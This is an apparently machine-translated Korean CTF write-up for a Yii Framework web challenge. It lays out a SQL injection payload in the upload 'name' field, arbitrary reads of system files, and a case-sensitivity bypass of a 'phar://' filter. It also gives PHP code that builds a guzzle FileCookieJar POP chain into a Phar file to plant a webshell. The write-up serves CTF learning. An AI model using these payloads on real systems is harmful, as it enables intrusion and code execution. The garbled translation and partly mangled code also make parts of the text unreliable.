[붕 정 배] (Web) Yii Framework

Dockefile:
  • https://github.com/SniperOJ/Jeopardy-Dockerfiles/tree/master/web/guzzle

  • 정보 수집:
    제목 주소:http://58.20.46.148:21333/
  • 목표 Yii 프레임 워 크 개발
  • 로그 인 등록 기능 이 존재 합 니 다
  • 로그 인 등록 후 잠 금 해제 새로운 기능: 파일 업로드 (upload), 디 스 플레이 파일 (show) (contact 등 기타 기능 은 Yii 비계 자체, 너무 관심 필요 없 음)
  • 파일 을 업로드 하려 면 정상 적 인 파일 업로드 보다 하나의 인 자 를 더 제공 해 야 합 니 다 name
  • 디 스 플레이 파일 은 인자 가 필요 하지 않 습 니 다. 그림 을 정상적으로 업로드 하면 이 그림 이 바로 표 시 됩 니 다. 인 자 를 추가 할 필요 가 없습니다. 이 기능 은 phop 파일 읽 기 함 수 를 호출 한 것 같 습 니 다.이 관점 을 지탱 하 는 두 가지 가 있다.
  • 경로 에서 파일 이름 을 지정 할 필요 가 없습니다
  • 사용자 와 사용자 간 에 격 리 되 어 브 라 우 저 은신 페이지 에 접근 할 수 없습니다
  • readme. md 가 존재 하여 표 구 조 를 제공 하고 파일 내용 에 따라 데이터 베 이 스 를 sqlite 3
  • 로 확정 합 니 다.
    CREATE TABLE IF NOT EXISTS "users" (
      "id" integer PRIMARY KEY AUTOINCREMENT NOT NULL,
      "username" char(1024) NOT NULL,
      "password" char(1024) NOT NULL,
      "filepath" varchar(1024)
    );
    
  • 파일 업로드 기능 이 많은 매개 변수 name 에 주입 이 존재 합 니 다. 하나의 따옴표 가 트리거 됩 니 다. 이전에 얻 은 표 구 조 를 결합 하여 사용자 가 파일 이름 을 지정 하여 저장 할 수 있 도록 한 다음 에 show 경로 에 접근 할 때 사용자 session 에서 user 의 신분 표 지 를 받 은 다음 에 데이터 베이스 에서 파일 경 로 를 찾 을 수 있 습 니 다.그리고 클 라 이언 트 에 응답 하 는 것 을 읽 습 니 다
  • 업로드 에 성공 하면 서버 의 상대 경 로 를 표시 합 니 다
  • $filepath = '../uploads/'.$_POST['UploadForm[name]'].'.';
    $filepath .= pathinfo($_FILES['UploadForm[imageFile]']['name'], PATHINFO_EXTENSION);
    echo $filepath;
    
  • 서버 가 $filepath 파일 이름 으로 파일 류 를 읽 는 함수 에 들 어 갈 것 이 라 고 추측 합 니 다. $filepath 임의로 제어 할 수 있다 면 phop 파일 을 읽 을 수 있 지만 제목 검사 $_POST['UploadForm[name]'] 에 존재 하 는 지 ph 가 있 습 니 다. 업로드 실패 가 있 으 면.
  • 한 사용자 에 게 filepath 만 있 을 수 있 기 때문에 업로드 기능 은 update 문구 일 것 이 라 고 추측 합 니 다. 그래서 'SQL 필드 덮어 쓰기 문제' 가 존재 합 니 다.여러 개의 filepath 가 들 어 오 면 마지막 으로 유효 합 니 다. 그러면 절대적 인 경 로 를 통 해 파일 을 읽 을 수 있 을 것 입 니 다. 그러나 7 단계 에서 추 정 된 위조 코드 에 따라 filepath 는 마지막 에 '...' 와 파일 을 업로드 하 는 확장 자 를 추가 합 니 다. 이 파일 을 읽 는 데 문제 가 있 는 것 같 습 니 다. phop 파일 을 읽 을 수 없습니다. / etc / apt / sources. list 를 읽 으 려 고 시도 합 니 다.
  • UploadForm[name]=',filepath='/etc/apt/source
    filename=lilac.list
    
  • 한 필드 를 더 추가 할 수 있 으 니 한 필드 를 더 추가 하면 접미사 이름 문 제 를 고려 하지 않 아 도 됩 니 다
  • UploadForm[name]=',filepath='/etc/apache2/sites-enabled/000-default.conf',username='lilac
    filename=whatever
    
    
        ...
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html/You_Cant_Gu3ss/web
        ...
    
    
  • 웹 의 절대 경 로 를 얻 고 임의의 파일 을 읽 을 수 있 으 며 Yii 의 비계 코드 를 대조 하여 소스 코드 를 한 걸음 한 걸음 다운로드 할 수 있 습 니 다. 아래 에 핵심 코드
  • 를 붙 입 니 다.
    ➜  controllers cat UsersController.php 
    session->get('id')) {
                return $this->redirect(['site/index']);
            }
            $model = new UploadForm();
    
            if (Yii::$app->request->isPost) {
                $model->imageFile = UploadedFile::getInstance($model, 'imageFile');
                $model->name = Yii::$app->request->post('UploadForm')['name'];
                if ($path = $model->upload()) {
                    $filename = $path;
                    $sql = 'update users set filepath = \''.$filename.'\' where id = '.Yii::$app->session->get('id');
                    Yii::$app->db->createCommand($sql)->execute();
                    \Yii::$app->getSession()->setFlash('success', "File upload Success! path is ../uploads/".$model->name.'.'.$model->imageFile->extension);
                    return $this->render('file', ['model' => $model]);
                }
            }
    
            return $this->render('file', ['model' => $model]);
        }
    
        public function actionShow(){
            if (!Yii::$app->session->get('id')) {
                return $this->redirect(['site/index']);
            }
            $model = Users::find()->where(['id'=>Yii::$app->session->get('id')])->one();
            if (!$model->filepath){
                \Yii::$app->getSession()->setFlash('error', "You should upload your image first");
                return $this->redirect(['file']);
            }
            if (substr($model->filepath, 0,7)=='phar://') {
                \Yii::$app->getSession()->setFlash('error', "no phar! ");
                return $this->redirect(['file']);
            }
            $content = @file_get_contents($model->filepath);
            header("Content-Type: image/jpeg;text/html; charset=utf-8");
            echo $content;
            exit;
        }
    }
    
  • filepath 가 phar: / 로 시작 하 는 지 판단 하 였 으 나, phop 에서 파일 을 읽 는 wrapper name 은 대소 문 자 를 구분 하지 않 아 도 됩 니 다
  • readfile("PHP://FILTER/convert.BASE64-ENCODE/resource=/etc/hostname");
    readfile("FILE:///etc/hostname");
    
  • 고 개 를 돌려 생각해 보면 현재 상황 은 대상 이 주입 한 장면
  • 에 부합된다.
    1.     (   Gadget   )
    2.            
    3.                
    
  • 코드 에 따라 사실 Phar 반 서열 구멍
  • 임 을 나 타 낼 수 있다.
  • 알림 guzzle 에 따라 composer. json 에서 guzzle 버 전 을 얻 고 이 버 전의 Object Injection 을 검색 하면 됩 니 다
  • 관건 적 인 사고방식:
    vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
              ,            shell
    
  • 구조 POP 체인
  • POP 체인 을 메타 데이터 로 하 는 Phar 파일 생 성
  • ';
    $obj = new FileCookieJar('/var/www/html/You_Cant_Gu3ss/web/assets/lilac.php');
    $c = new SetCookie([
        'Name' => 'foo',
        'Value' => 'bar',
        'Domain' => $payload,
        'Expires' => time()+0x100,
        'Discard' => false,
    ]);
    $obj->setCookie($c);
    
    $data = serialize($obj);
    print_r($data);
    file_put_contents("poc.dat", $data);
    
    $phar_filename = "lilac.phar";
    @unlink($phar_filename);
    $phar = new Phar($phar_filename);
    $phar->startBuffering();
    $phar->setStub("");
    $phar->setMetadata($obj);
    $phar->addFromString("lilac", "lilac");
    $phar->stopBuffering();
    
  • Phar 파일 업로드
  • 임의의 파일 을 통 해 구멍 을 읽 습 니 다. Phar 프로 토 콜 을 사용 하여 반 직렬 화 동작 으로 Webshell
  • 을 읽 습 니 다.
    UploadForm[name]=1',filepath='Phar:///var/www/html/You_Cant_Gu3ss/uploads/lilac.jpg/lilac',username='lilac
    
  • 반 직렬 화 및 Phar 파일 내용 읽 기 성공 플래그: lilac
  • 갱 점:
  • php 서열 화 데이터 에 \x00 가 들 어 있 기 때문에 복사 할 때 구 덩이 될 수 있 으 므 로 파일 에 직접 써 야 합 니 다
  • Yii 비계 의 ${ROOT} / web / assets 디 렉 터 리 는 쓸 수 있 습 니 다
  • POP 체인 을 어떻게 구성 하 는 지 에 대해 서 는 참고 자료 중 첫 번 째 PDF 를 보십시오. 최근 에 본 최고의 프 리 젠 테 이 션 입 니 다
  • 참고 자료:
  • https://www.insomniasec.com/downloads/publications/Practical%20PHP%20Object%20Injection.pdf
  • https://github.com/ambionics/phpggc
  • https://paper.seebug.org/680/
  • http://php.net/manual/en/language.oop5.decon.php
  • 좋은 웹페이지 즐겨찾기